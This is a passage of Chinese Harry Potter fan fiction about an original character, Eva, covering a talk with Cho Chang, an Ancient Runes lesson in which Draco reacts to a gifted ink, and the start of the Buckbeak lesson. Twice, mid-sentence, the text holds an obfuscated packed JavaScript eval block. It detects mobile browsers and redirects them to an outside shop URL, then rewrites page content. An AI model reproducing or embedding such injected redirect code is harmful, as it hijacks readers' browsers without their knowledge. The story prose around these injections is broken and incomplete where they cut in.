就在这时,隔壁赫奇帕奇长桌爆发出一阵稍大的笑声,似乎有人在模仿博格特变形的滑稽场景——不知道是不是在模仿他父亲那身可笑的小丑服。 德拉科握叉的手猛地收紧,指关节瞬间泛白。但他没有转头,没有任何反应。只是极其缓慢地、控制着每一寸肌肉的力道,将银叉轻轻放回盘子里,金属与瓷器接触时发出一声几不可闻的“咔”。 “我吃完了。”他的声音平静得没有一丝波澜,甚至比平时更加清晰、更加从容。 他站起身,动作流畅优雅,仿佛刚才那一刻的僵硬从未存在。黑袍的下摆划过一个完美的弧度。离开的步伐,最初两步刻意保持着惯有的节奏,第三步开始就不自觉地加快了,袍角甩动的幅度比平时更大,带着一种急于逃离的急促。 他的离席像一块投入湖面的石头,在斯莱特林长桌激起了短暂的涟漪。 克拉布和高尔慌忙塞下最后几口食物,面包屑还沾在嘴角,就笨拙地跟了上去。潘西愣了一下,抓起自己的小包小跑着追赶。经过低年级时,潘西立刻挺直背脊,用那种惯有的、尖细的嗓音对旁边几个一年级生说:“看什么看?专心吃你们的饭!”那几个新生吓得赶紧低下头。 克拉布和高尔笨拙地跟上去时,差点带翻椅子。克拉布手里还捏着半块没吃完的司康饼。高尔则嘟囔了一句含糊不清的话,大概是在抱怨没吃完的布丁。 在长桌另一端,西奥多·诺特慢条斯理地切着盘中的烤鱼,全程没有抬头,仿佛刚才的一切与他无关。但坐在他对面的布雷司·沙比尼注意到,诺特握刀的手指停顿了比平时更久的一瞬。 Eva收回目光,继续小口喝着南瓜汁。甜腻的味道在舌尖化开,她想起魔药课时他抢走流液草的那个瞬间——指尖几不可察的停顿,还有那双灰蓝色眼睛里翻涌的复杂情绪。 斯莱特林的心思太复杂。 午饭后,Eva如约走向庭院东侧。 那棵老山毛榉树确实偏僻,粗壮的树干需要三人合抱,枝叶茂密,在渐浓的暮色里投下一大片深沉的阴影。树根处裸露的岩石被岁月磨得光滑,上面覆盖着厚厚的苔藓。 秋·张已经等在那里了。她没穿校袍,只穿着一件深蓝色的针织开衫,抱着膝盖坐在一块较平坦的石头上。听见脚步声,她抬起头,对Eva笑了笑,拍了拍身边的位置。 “这里很安静,适合说话。”秋的声音在傍晚微凉的空气里显得格外清晰。 Eva在她身边坐下。岩石还带着阳光晒过的温暖,透过薄薄的袍子传来。远处的黑湖波光嶙峋,像散落在蓝色天鹅绒上的钻石。 秋沉默了一会儿,似乎在组织语言。她的侧脸在阳光里显得柔和。 “其实……我也没见过那些。”秋终于开口,声音很轻,像怕惊扰了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990632|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片宁静,“我爸妈很少讲具体的事。他们都是从香港移民到英国的,然后我就在这里出生了。” 她弯腰捡起脚边一片形状完好的枫叶,叶脉在光线中依然清晰,“只是偶尔,非常偶尔的时候——比如我爸爸喝多了威士忌,或者我妈妈看到新闻里什么地方又打仗了,才会漏出一两句。” Eva安静地听着,没有打断。 “我爸爸常说,我们家是‘幸运的逃跑者’。”秋轻轻转动着手中的叶子,“我祖父母那一辈,是从广东一个乡镇,跟着逃难的人潮,九死一生才挤上最后一班去香港的船。他们讲的故事里,没有英雄,只有……活着。藏在船舱底,吃发霉的米,看着生病的人被扔下海。” 秋的声音很平静,但Eva能听出那平静下的复杂情绪——那是一种与她自己从爷爷和父母那里听到的、关于“入世”、“责任”、“牺牲”的叙述截然不同的记忆。 她顿了顿,将树叶轻轻放在一旁:“后来他们在香港站稳了脚跟,开了家小茶餐厅。再后来,我爸来英国留学,认识了同样来自香港的我妈,就留下来了。” 秋转过头,看向Eva,眼神里有种Eva能深刻理解的情绪——那种在两个世界之间寻找平衡,却总觉得自己不属于任何一边的微妙感受。属于移民二代的、对“根”既向往又带着隔阂。 “我爸妈拼了命地让我融入这里。说一口没有口音的英语,和所有英国小巫师一样读霍格沃茨,交‘正确’的朋友。他们不希望我回头看,觉得那些过去太沉重,是伤疤,揭开只会流血。” 她用脚尖轻轻碾着地上的苔藓:“所以,当他们听说我认识了你……其实有点紧张。我妈还特意叮嘱我,别多问你家的事,也别掺和……‘麻烦’。” 秋沉默了片刻,声音更轻了:“刚来霍格沃茨的时候,有次魔法史课,宾斯教授讲到中世纪焚烧女巫。一个格兰芬多男生回头看了我一眼,就一眼,很快转回去了。但我整个晚上都在想那一眼——他是在看我,还是在看‘东方的女巫’?我知道我想多了,可那种感觉……” 秋无奈地笑了笑,这笑容很短暂,很快收敛在阳光里:“我能想象,如果他们听到今天博格特课上的传闻会是什么反应。大概会觉得……你承载的东西太沉重了,不该属于我们这个年纪,也不该被拿出来展示。” 她停顿了很久,久到远处猫头鹰棚屋传来扑棱翅膀的声音。 “但是Eva,”秋的声音重新响起,这次更加认真,“虽然我不完全理解你看到的那个画面,也不像你爷爷或父母那样经历过那些选择……可我大概能明白那种感觉。两种文化,两种记忆,在你身体里拉扯的感觉。还有那种……明明想安稳生活,却总被更大的东西、过去的东西,隐隐牵扯的感觉。” 她看向Eva,眼神清澈而真诚:“我想说的是,你不是一个人在这里。也许我们的‘包袱’不一样,但我知道一个人走路是什么感觉。” 微风吹过庭院,带起一阵枯叶的沙沙声。 “谢谢,秋。”Eva轻声说。 秋微微摇头:“唔使客气。只是……如果你需要说话,或者只是安静地坐一会儿,我在这里。” 她们又在树下坐了一会儿,没有再多说什么。有些理解不需要言语,只需要陪伴。 回到拉文克劳塔楼时,公共休息室里人已经不多。很多下午有课的人都去上课了。Eva在靠窗的角落坐下,摊开羊皮纸,继续写斯内普教授布置的论文。 《论魔力枯竭状态下基础药剂熬制的必然失败——以今日课堂为例》。 题目冰冷而直接,像斯内普教授本人一样不留情面。她提起羽毛笔,蘸了墨水,开始写。 写完论文最后一个字,暮色已沉入窗棂。Eva放下笔,笔尖在羊皮纸上留下一个极小的墨点,慢慢洇开。她抬手揉了揉有些发僵的后颈,目光落在窗外,远处禁林的轮廓正被夜色一点点吞噬,黑湖对岸的灯火星星点点亮了起来。 手臂上那道淡红色的细痕,在昏暗光线下几乎看不见了。 她将羊皮纸卷起,用细绳仔细系好。桌上,卢平教授给的那包巧克力还静静躺着,牛皮纸的折角被窗缝漏进的风轻轻吹动。 公共休息室的门开了又关,传来几个同学说笑着去礼堂的脚步声。Eva把论文收进书包,站起身。窗玻璃上,映出一个模糊的、深蓝色的身影,背后是拉文克劳塔楼温暖的灯火。 69.开学第一周 苏格兰高地的秋天像一块浸透了水又忘了拧干的厚毯子。从九月下旬开始,雨水便连绵不绝,城堡的石墙终日泛着湿漉漉的深色,庭院里的草地踩上去会发出“咕叽”的声响,空气里永远弥漫着青草、泥土和远方黑湖带来的、淡淡的腥凉气息。 课程在湿漉漉的天气里按部就班地进行。 古代如尼文课在城堡七楼一间僻静的教室。教室里总是很暗,即使白天也需要点燃壁炉和几盏老式的黄铜油灯。芭丝茜达·芭布玲教授是一位严谨得一丝不苟的女巫,灰白的头发总是梳成紧实的发髻,眼镜片后的眼睛锐利如鹰。她用清晰而冷硬的语调,剖析着那些古老符号的语法与魔力结构,不允许任何浪漫化的想象。 “如尼文不是占卜玩具,更不是装饰花纹。”芭布玲教授的声音像粉笔划过石板,“每一个曲折,每一条短线,都对应着特定的魔力流动或概念锚定。混淆一个角度,魔力流向就可能截然相反。今天,我们从基础符号‘Fehu’开始,它代表移动的财富、能量流动。注意起笔的角度和末尾的收势,这决定了符号是‘引导流入’还是‘驱散流出’。” 赫敏·格兰杰坐在第一排,羽毛笔在羊皮纸上飞速移动,几乎要把每个字都吞下去,时不时还对照着摊开的《古代如尼文简易入门》和《魔法图符集》,眉头紧锁,试图在芭布玲教授简洁到近乎苛刻的讲解中捕捉更多关联。 Eva坐在靠窗偏后的位置,雨水在布满灰尘的玻璃上划出一道道蜿蜒的痕迹。她面前摊开着羊皮纸,手边是常用的墨水瓶和一支羽毛笔。那些如尼文符号在她眼里,有时会让她模糊地想起爷爷笔记里某些更复杂、更流畅的符文,它们遵循着不同的规则,但似乎都试图用线条捕捉某种“道理”,只是东方的“理”更圆融,这里的“法”更锋锐。她听着教授的讲解,尝试理解这套截然不同的符号逻辑。 教室里学生不多,除了拉文克劳,还有几个赫奇帕奇(比如厄尼·麦克米兰,正努力挺直背脊让自己看起来更专注),以及零星几个斯莱特林。德拉科·马尔福坐在教室另一侧靠前的位置,和他一起的还有西奥多·诺特。马尔福看起来对这门课投入了不同寻常的认真——或者说,是一种不愿落于人后的紧绷。他面前摆着崭新的、皮革封面的笔记本,用的是看起来就很昂贵的银色墨水,笔尖划过羊皮纸的声音轻而利落。当芭布玲教授强调某个易错点时,他会几不可察地微微点头,灰蓝色的眼睛紧盯着黑板上的范例符号。 “现在,拿出你们的羊皮纸和墨水。”芭布玲教授推了推眼镜,“临摹‘Fehu’符号二十遍。我不要求速度,我要精准。临摹时,试着感受你们所用的墨水与符号之间的微弱共鸣——这是如尼文书写最基础,也最常被忽略的实践。下课前交上来。” 教室里响起一片打开墨水瓶和展开羊皮纸的窸窣声。Eva拧开自己常用的那瓶黑色墨水,羽毛笔蘸饱,开始依照黑板上范例的笔画顺序,在羊皮纸上一笔一划地临摹。符号很简单,但要求每一笔的角度和长度都精确复制。她写得很慢,很稳,将注意力集中在笔尖的移动上,暂时放空了其他思绪。 写到第十遍左右,她常用的那瓶黑色墨水快见底了,笔尖带出的墨色开始变淡、断续。她想起书包里还有那瓶作为匿名生日礼物收到的“恒久之蓝”高级羽毛笔保养墨水。虽然主要是保养用途,但瓶身上古拉丁文标签确实也标明可用于书写,且色泽持久。她略微犹豫了一下——在这种需要高度精确的课堂练习上用这么昂贵的墨水似乎有些奢侈,但眼下没有其他选择。 她从书包内袋取出那个深蓝色的小瓶,拧开。墨水是浓郁的深蓝色,几乎接近墨黑,但对着光能看到隐隐的靛青光泽,质地也比普通墨水更稠滑一些。她重新蘸取,在新的行首落下笔尖。 笔尖触纸的瞬间,感觉确实不同。墨水流出极其均匀顺滑,几乎没有任何阻滞,像一股温驯的深蓝溪流,自行寻着最笔直的河道前行。在羊皮纸上呈现出的线条边缘清晰如刻,颜色饱满深邃,而且干得很快,隔绝了潮湿空气可能带来的晕染。更微妙的是,当她全神贯注于临摹那个代表“能量流动”的“Fehu”符号时,笔尖流淌出的线条似乎……与她指尖的意图产生了某种和谐的共振。窗外连绵的雨声,原本只是模糊的背景杂音,此刻仿佛也渐渐融入了她笔尖移动的节奏里,成了规律而稳定的节拍。控制笔画的走向和收势变得异常顺遂,仿佛这墨水不仅在纸上书写符号,也在她有些疲惫的心绪上,暂时抚平了那些因透支而产生的滞涩褶皱,辟出了一小块可供专注栖身的宁静。 隔着几排座位,德拉科·马尔福正用他那瓶银色秘制墨水临摹着。银线在羊皮纸上流淌,稳定却冰冷。但眼角余光似乎总能捕捉到教室另一侧的动静。当Eva取出那瓶深蓝色墨水时,他握着羽毛笔的手指骤然收紧,指尖因用力而泛白。 是那瓶墨水。“恒久之蓝”,三十加隆一瓶,有价无市,他暑假里特意让母亲从脱凡成衣店老板那里弄来的“内部渠道”货。当时是什么心情?扯平?试探?还是某种连自己都厌恶的、近乎软弱的示好(他立刻否定了这个词)?现在看着它被用在一堂普通的、泥巴种和混血统聚集的如尼文练习课上,还被她用得那么……自然,仿佛那只是个随便从货架上拿来的普通玩意儿。 更让他心烦意乱的是她书写时的样子。那种全然沉浸、仿佛外界一切都不存在的专注,还有眉宇间因书写顺遂而掠过的一丝极淡的、几乎看不见的松弛。这和他记忆中那个在走廊里眼神慌张、在医疗翼外脸色苍白的女孩,或者那个在博格特前苍白却挺直的背影,都截然不同。这是一种……该死的、让人无法移开目光的宁静。与他胸腔里那股因家信、摄魂怪、还有眼前这一切而翻腾的烦躁形成了令人恼火的对比。 一股混杂着恼怒、酸涩、被轻视、以及一种更陌生的、近乎灼烧般的不适感猛地窜上来。他笔下那个即将完成的银色符号最后一笔因为力道失控而猛地拉长、变形,破坏了整个符号的平衡。 他盯着那个因自己力道失控而拉长、变形的银色符号,灰蓝色的瞳孔骤然收缩。笔尖悬在败笔之上,停顿了一秒,然后他几乎是泄愤般地将羽毛笔往墨水瓶里一戳,溅起几星墨点,落在羊皮纸边缘。他看也不看,一把抓起那张写坏的纸,手指用力将它攥得皱成一团,指关节都捏得发白。但在即将做出扔的动作前,他眼角的余光瞥见了不远处正在巡视的芭布玲教授。他的动作猛地僵住,胸口剧烈地起伏了一下。下一秒,他强压下那股冲动,手臂略显僵硬地转了个方向,将那团废纸近乎“砸”进了脚边的废纸篓,发出了比预想中更响的“噗”一声。这声响让他自己的眉头也皱了一下。他立刻别开脸,不再看那个纸篓,也不看教室另一侧,快速而粗暴地从笔记本里撕下一张崭新的羊皮纸,用力铺开,差点带倒墨水瓶。他重新握笔,落笔很重,但前几个符号的线条明显绷得比平时更紧、更锐利,透着一股未消的狠劲。直到写了三四遍之后,他肩膀的线条才几不可察地放松了一丝,但苍白的耳廓却一直泛着明显的红。 西奥多·诺特坐在他旁边,用一瓶普通的黑色墨水不紧不慢地写着,仿佛对马尔福的小小风暴毫无所觉,又或者早已习惯。 赫奇帕奇的厄尼·麦克米兰则显得有些吃力,他似乎在努力控制笔画长度,额头都冒出了细汗,时不时偷看一眼旁边汉娜·艾博的羊皮纸寻求参考,换来汉娜一个无奈的微笑。 芭布玲教授在课桌间无声地巡视。她在赫敏身边停留时间最长,仔细检查了她的前几个符号,微微颔首:“角度精确,格兰杰小姐。保持。” 经过厄尼时,她只用指尖点了点他某个歪斜的收笔,厄尼的脸立刻涨红了。走到Eva身边时,她的目光在那些用深蓝色墨水书写的、工整清晰的符号上停留了片刻。 “墨水品质上乘。”芭布玲教授的声音毫无波澜,纯粹是技术性评价,“有助于降低笔尖摩擦,稳定线条。符号结构合格,注意第三笔尾部的弧度,参照范例修正零点五度。” 她用指甲在羊皮纸上虚划了一下。 “是,教授。”Eva点头,依言调整。她能感觉到,使用这瓶墨水,不仅让书写更顺畅,似乎也让她更容易进入那种心无旁骛的临摹状态。这确实是一份很实用的礼物,虽然来历不明。 课程在笔尖与纸面的沙沙声中继续。窗外的雨声成了恒定的背景音。当芭布玲教授宣布下课时,许多人都松了口气。 “作业,”芭布玲教授的声音盖过了收拾东西的声响,“继续临摹‘Fehu’五十遍,下节课上交。同时,阅读《魔法图符集》第15至22页,关于如尼文基础组合原则。我不接受任何借口。” 学生们抱着书本和羊皮纸鱼贯而出。赫敏立刻凑到Eva旁边,镜片后的眼睛闪着光:“你的那瓶墨水颜色真特别,是定制的吗?我看它干得很快,而且线条边缘几乎没有毛刺,这对如尼文书写很重要!你在哪里买的?” “是礼物。”Eva简单地说,将墨水瓶小心地盖好收起来。 “好吧。”赫敏遗憾地说,看到Eva没有多谈的意思,便转而开始滔滔不绝地分析起刚才课上芭布玲教授提到的几个魔力锚定点。 在他们身后不远处,德拉科·马尔福正将他的银色墨水和昂贵的笔记本粗暴地塞进书包,仿佛那些东西也惹到了他。 西奥多·诺特已经安静地收拾好东西,对他点了下头,先行离开了教室。潘西·帕金森从门外探进头来——她没选这门课,但显然在等马尔福,声音带着惯有的、略显夸张的关切:“德拉科!你还好吧?这节课真够久的。我们快走吧,布雷斯他们在门厅等着呢,说要去看看那套新到的巫师棋……” 马尔福猛地拉上书包拉链,发出不甚愉快的摩擦声。他转过身,灰蓝色的眼睛像淬了冰,先是冷冷地扫过正在和赫敏说话的Eva的背影,目光在她手中那瓶被仔细收起的深蓝色墨水上停留了半秒,里面翻涌着极其复杂难辨的情绪——烦躁、不屑(觉得她小题大做?)、一丝送错礼物的懊丧,还有更深层的、连他自己都不愿剖析的在意。随即,他像被那瓶墨水的反光刺到一样,迅速移开目光,下颌线绷得死紧。 “聒噪。”他的声音又冷又硬,既像是对潘西,也像是对眼前这令他莫名气闷的一切。他不再看任何人,拎起书包,大步流星地走向门口,肩膀擦过门框时甚至带着一股不耐的力道。潘西连忙跟上,还在小声说着什么关于棋子的评价。 他离开的脚步很快,方向是通往主楼梯和下层的路,大概是去与斯莱特林的其他人会合,或者单纯想尽快离开这块让他心烦的区域。那挺直的、却隐隐透着躁郁的背影,很快消失在走廊拐角处嘈杂的学生人流中,只留下一点昂贵的柑橘调古龙水气息,混合在走廊陈旧石头和羊皮纸的气味里,也很快被流动的空气稀释了。 Eva拉好书包,和赫敏、帕德玛一起走出教室。冰冷的石廊里,讨论作业和抱怨教授的声音此起彼伏。 在楼梯拐角处,她们遇上了正从楼下上来的哈利、罗恩和西莫·斐尼甘。哈利浑身湿透,红黑相间的魁地奇训练袍还在往下滴水,泥点溅在裤腿上,头发紧贴额头,但那双绿眼睛在潮湿的空气中显得格外明亮。他怀里抱着光轮2000,扫帚尾梢也沾着泥浆。看到Eva,他脚步顿了一下,似乎有些意外会在这里碰到,目光快速扫过她手里那卷写满深蓝色如尼文的羊皮纸。 “刚训练完?”帕德玛问,微微侧身,避免被扫帚上的水珠甩到。 “伍德说雨越大越要练,”罗恩抢着回答,甩了甩自己湿漉漉的袖子,“他说这叫‘适应恶劣天气’,我看他是疯了。” 哈利没接话,他的视线从羊皮纸移到Eva脸上,又看了一眼旁边的赫敏。“你们这是……古代如尼文?”他问,声音因为刚运动过而带着点喘。 “没错,”赫敏立刻接口,她的眼睛闪烁着谈论学业时特有的光芒,“非常严谨,但也极其复杂。芭布玲教授要求每个笔画的角度都必须精确……” 眼看赫敏要开始长篇大论,罗恩赶紧插话:“好了赫敏,我们浑身湿透了,得先回去换衣服。”他拽了拽哈利的袖子。 哈利“嗯”了一声,空着的那只手无意识地蹭了下额头的疤痕——那里今天很平静。他像是还想问什么,但最终只是对他们点了点头。“那……回见。” 他侧身让开道路,目光在Eva平静的侧脸上停留了半秒,才被罗恩拉着往格兰芬多塔楼的方向走去。西莫嘟囔着“饿死了”跟了上去。 Eva听着赫敏的絮语,和帕德玛一起走向拉文克劳塔楼。赫敏在下一个楼梯口与她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998354|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥手道别,转向了格兰芬多塔楼的方向。 当天下午是麻瓜研究课,课堂氛围与如尼文课截然不同。凯瑞迪·布巴吉教授是位活泼的小个子女巫,她对麻瓜世界充满好奇,有时甚至是天真的热情。这堂课,她带来了一台拆开的、老旧的麻瓜收音机,试图用魔法的角度解释它如何“接收空气中的声音幽灵”。Eva听着布巴吉教授有些离奇的描述——比如认为麻瓜靠“电力小精灵”驱动机器——心里想起的却是小学自然课上老师讲解的简单电路,还有爸爸办公室里那些嗡嗡响的黑色机器盒子。她知道麻瓜的东西不靠魔法,靠的是另一套同样严谨的规则,Eva没有出声,只是把这些差异默默记下,作为了解巫师如何看待外部世界的又一个样本。 课程结束时,窗外的天色已经是一种沉郁的铅灰,雨势虽缓,却丝毫没有停歇的意思。城堡走廊里早早亮起了火把,摇曳的光芒在潮湿的石壁上投下晃动的影子,混合着学生们结束一周课程、涌向礼堂的脚步声和略显松弛的谈笑。 周五的晚餐气氛比平时稍显轻松。天花板的魔法天空模拟出厚厚的、缓慢移动的雨云,但长桌上的食物比往常更丰盛些,算是为周末开个头。四个学院的学生们交换着这一周的见闻:拉文克劳和赫奇帕奇分别讨论着各科作业的难度;格兰芬多长桌那边,伍德正大声向哈利强调明天魁地奇训练的重要性,赫敏则在规划周末去图书馆攻克算术占卜的某个难点;斯莱特林那边,关于保护神奇生物课的议论已经平息了不少——第一周海格介绍的是护树罗锅和蒲绒绒这类温和无害的小生物,除了场地泥泞,倒没出什么大乱子。德拉科·马尔福对此的评价仅仅是“幼稚的把戏”,此刻他正慢条斯理地切割着羊排,脸色比上午如尼文课时稍缓,但依旧没什么表情。 Eva小口喝着奶油蘑菇汤,听着曼蒂和帕德玛商量周六是去图书馆还是温室完成草药课的观察记录。她胃里暖融融的,一周的课程带来的疲惫和那种持续的空乏感,被热汤和休息日的临近稍稍缓解。 隔着几张桌子,哈利已经换上了干爽的校袍,头发被毛巾粗暴地擦过,依旧有些凌乱。他正努力集中精神,听伍德用面包棍敲打着桌面,强调下一场对阵拉文克劳的关键点:“……他们的找球手秋·张,去年决赛你已经见识过了,反应很快,但她的彗星260在长距离冲刺上有短板。所以光轮2000在转弯和加速上的优势是决定性的!我们必须利用这一点!” “秋·张”这个名字像一把钥匙,立刻让哈利的目光不由自主地飘向了拉文克劳长桌。他的视线很快锁定了目标——秋·张正和女伴说笑,侧脸在烛光下显得格外柔和。哈利脑子里立刻跳出去年魁地奇决赛的画面:她骑着彗星260,银色扫帚尾光在空中划出优雅的弧线,俯冲时黑发飞扬……虽然最后他抓住了飞贼,但不得不承认,她飞得真好看。这个与战术相关的念头,却让哈利耳根微微发热,他赶紧喝了一大口南瓜汁,试图把注意力拉回伍德滔滔不绝的解说上。 就在他移开视线的前一秒,目光滑过了秋附近的位置。Eva坐在那里,和周围有些格格不入。她没有参与说笑,只是微微低着头,用小勺缓慢地搅动着碗里的奶油蘑菇汤,动作带着一种近乎刻意的平稳。她脸上没什么表情,但哈利能看出一种淡淡的疲惫,眼下有不易察觉的浅影。这让他忽然想起今天下午在楼梯拐角那短暂的照面——她看起来比在医疗翼外时好一些,但依旧苍白,手里紧握着写满奇怪符号的羊皮纸卷。当他想问点什么时,赫敏已经开始长篇大论列数明天的学习计划,西莫和罗恩也在催他快走。最后他只仓促地说了一句“回见”。 还有更早的记忆碎片:密室里她挡在前面时瞬间爆发的光芒和随后倒下的身影;医疗翼里苍白安静的脸;甚至火车上,摄魂怪来临前,隔间里那种紧绷的、令人窒息的寒意中,她挺直的脊背……这些画面毫无征兆地涌上来,让哈利心里莫名一紧,那感觉和看到秋时的雀跃紧张完全不同,更像是一种沉重的确认,确认她还在这里,确认那些糟糕的事没有彻底击垮她,但也确认她似乎一直没能真正放松下来。 “哈利!你有没有在听?关于光轮2000的俯冲缓冲!”伍德不满地用卷起的羊皮纸敲了敲桌子。 “啊?缓冲,对,很重要。”哈利猛地回过神,有些心虚地摸了摸后颈。他再次瞥向拉文克劳长桌,这次Eva似乎感觉到了他的视线,抬起了头。两人的目光在空中短暂交汇。Eva的眼神很平静,像深潭的水。哈利顿了一下,然后对她点了点头,一个简单的、介于熟人间问候和无声关切之间的示意。Eva也微微颔首,便重新低下头,继续她缓慢的晚餐。 哈利转回身,努力将注意力锁在伍德激情四射的战术讲解上,但脑海里却顽固地残留着两个对比鲜明的画面:一个是秋·张在阳光下飞行的明亮剪影,带着魁地奇和青春期的悸动;另一个是Eva在昏暗走廊或寂静病房里的侧影,与危险、责任和一种他无法完全理解的沉重平静联系在一起。他甩甩头,把这莫名其妙的对比抛到脑后。现在最重要的,是明天的训练,以及如何应对越来越疯狂的伍德。 夜幕彻底降临时,雨声成了城堡唯一的背景音,绵密而恒久。 回到拉文克劳塔楼,青铜鹰门环今晚的问题是:“何物能被衡量,却无法被触及?” 帕德玛想了想:“时间?” 门环没反应。 她轻声答:“影响力。” 门环打开了。 公共休息室的炉火烧得正旺,驱散了从袍子缝隙钻进来的寒意和湿气。Eva在靠窗的角落完成剩余的如尼文临摹作业,将羊皮纸卷好,那瓶深蓝色的“恒久之蓝”墨水被重新收进书包内袋。窗外,黑湖的方向一片浓稠的黑暗,只有远处禁林边缘,隐约可见一点飘忽的、不属于火光的惨绿色微光在缓慢移动——大概是巡逻的摄魂怪。每当那微光闪烁,休息室里的谈笑声会不自觉地低下去几分。 她洗漱后躺在床上,听着雨点敲打塔楼窗户的声响,像无数细小的手指在轻轻叩击。体内那股“炁”依旧沉寂,但这一周下来,除了偶尔的滞涩感,至少日常的课程和魔法运用已无大碍。今天两门新课带来的新鲜感,以及使用那瓶顺滑墨水完成精确作业的些微成就感,让她感到一种平实的、属于学生的充实。 70.巴克比克 周一的魔药课后,地窖里弥漫着药渣和失败药水的刺鼻气味。学生们匆匆清理着自己的操作台,坩埚碰撞声和流水声混杂在一起。Eva仔细将最后一滴污渍清除,将工具归位后,从书包里取出那卷写好的羊皮纸——《论魔力枯竭状态下基础药剂熬制的必然失败——以今日课堂为例》。 斯内普教授站在讲台后,正在翻看一份厚厚的名册。 “教授。” 斯内普没有抬头,继续翻了一页名册,才缓缓抬起眼皮。黑眼睛在昏黄的火把光下扫过她手中的羊皮纸。 “放在那儿。”声音平淡无波。 Eva将羊皮纸放在讲台角落的作业堆上,纸张边缘与另一份对齐。 “你去见了庞弗雷夫人。”这不是疑问,是陈述。斯内普的嘴角向下撇出一个惯有的弧度,“显然,你认为她的专业意见比课堂参考资料更有价值。” Eva保持沉默。她确实去找了庞弗雷夫人——不仅仅是因为需要确切数据,更因为这是最直接的途径。拉文克劳式的效率。 “恢复进度?” “基础魔力循环稳定,但深层恢复缓慢。建议避免高强度魔法实践。” 斯内普发出一声几不可闻的冷哼。“既然如此,”他的目光移回她脸上,“在你能稳定施展一个像样的盔甲护身咒之前,我不希望再在我的课堂上看到任何……因个人能力不足导致的意外。拉文克劳的学院分,”顿了顿,声音压得更低,“不应该因为某个学生的特殊状况而被挥霍。” “是,教授。” “你可以走了。” Eva转身离开,能感觉到背后那道目光一直钉在背脊上,直到她走出地窖。 周四下午的雨下得人心惶惶。 保护神奇生物课已经是本学期第三次了——前两堂课,海格介绍的是护树罗锅和蒲绒绒。护树罗锅害羞地躲在树枝间,需要喂食土鳖才能哄出来;蒲绒绒则是一团团毛球,除了吃蜘蛛和发出呼噜声外毫无威胁。两堂课都平淡得让某些学生打哈欠,也让某些学生(尤其是斯莱特林那边)露出了毫不掩饰的轻蔑。 城堡的走廊终日回荡着靴子踩在湿滑石板上发出的啪嗒声,火把的光芒在潮湿的空气里显得格外昏黄,照不亮墙角堆积的阴影。庭院里,雨水汇成细小的溪流,顺着鹅卵石的缝隙流向低处,黑湖水面被砸出密密麻麻的涟漪,望过去白茫茫一片,连对岸的禁林都模糊成了团墨绿。 在这样的天气里,保护神奇生物课成了最不受欢迎的课程——至少对一部分学生来说如此。 Eva走在拉文克劳的队伍中间,深蓝色的防水斗篷帽檐拉得很低。雨水顺着厚重布料滑落,在脚边溅起细小的泥点。她特意选了底部厚实、边缘加固的龙皮靴子——妈妈暑假采购时坚持要买的,“苏格兰的天气,实用的装备比什么都重要”。此刻靴子陷在泥里,每一步都需要用力拔出,发出沉闷的“噗嗤”声。 “我新买的龙皮靴子!”拉文德·布朗在不远处哀号着,她的浅色靴子已经糊满了泥浆。 西莫·斐尼甘则更关心天气:“要是打雷怎么办?书上说雷雨天在户外进行魔法生物实践是违反安全守则的……” “书上还说曼德拉草的哭声能致命呢,”罗恩没好气地说,他的旧靴子已经灌满了泥水,每一步都发出“咕叽”的声响,“可我们还不是得给它们换盆。” 哈利走在他们前面,绿眼睛警惕地扫视着四周。不是因为天气,而是因为那些巡逻的摄魂怪——它们依旧在城堡外围的空中缓缓飘荡,像一团团会移动的灰雾,所过之处连雨丝都似乎变得更冷了。每次看到它们,他额头的疤痕就会隐隐作痛,像有根细针在皮肤下轻轻拨动。 Eva也看到了那些灰影。腕间的玉佩传来一丝极其微弱的温意,比平时更淡,像是在沉睡中本能地警觉。她将戴着玉佩的手腕往袖子里缩了缩。体内的“炁”依旧沉寂如古井,但这份微弱的预警提醒着她:那些东西的存在本身,就是对生命温暖的侵蚀。 海格站在小屋门口,穿着那件巨大的鼹鼠皮大衣,怀里抱着一捆用油布裹着的东西。看见学生们走近,他黝黑的脸上露出热情的笑容,但那双甲壳虫似的黑眼睛里闪烁着不安——这是他的第一堂正式课,压力大得让他说话都结巴了。 “好、好了,同学们!跟、跟我来!”他粗声喊道,转身走向小屋后方的围场。 围场比想象中大得多,用高高的篱笆围着,里面有几棵光秃秃的树和一个积满了雨水的大坑。地面泥泞不堪,混杂着某种大型动物的蹄印。 “今、今天我们要认识的是——鹰头马身有翼兽!”海格的声音因为激动而颤抖,他解开油布,露出里面的东西——不是活物,而是一大块生肉,血淋淋的,在雨中散发出浓重的腥气。 学生们发出一片低低的惊呼和吸气声。几个赫奇帕奇女生下意识后退,曼蒂紧紧抓住了Eva的袖子。帕德玛的脸色也有些发白,但她努力维持着镇定,小声说:“《神奇动物在哪里》里说它们是XXXX级生物……” “鹰头马身有翼兽是骄傲的生物,”海格努力让自己的声音听起来像在课堂上,“非常骄傲。如果你侮辱了它,它可能会攻击你。但如果你尊重它,向它鞠躬,等它回礼,你就可以抚摸它,甚至骑上它飞行!” 他指向围场深处。在雨幕中,隐约能看到几匹巨大的生物站在那里——马的身体,鹰的头和翅膀,羽毛湿漉漉地贴在身上,眼神锐利如刀。 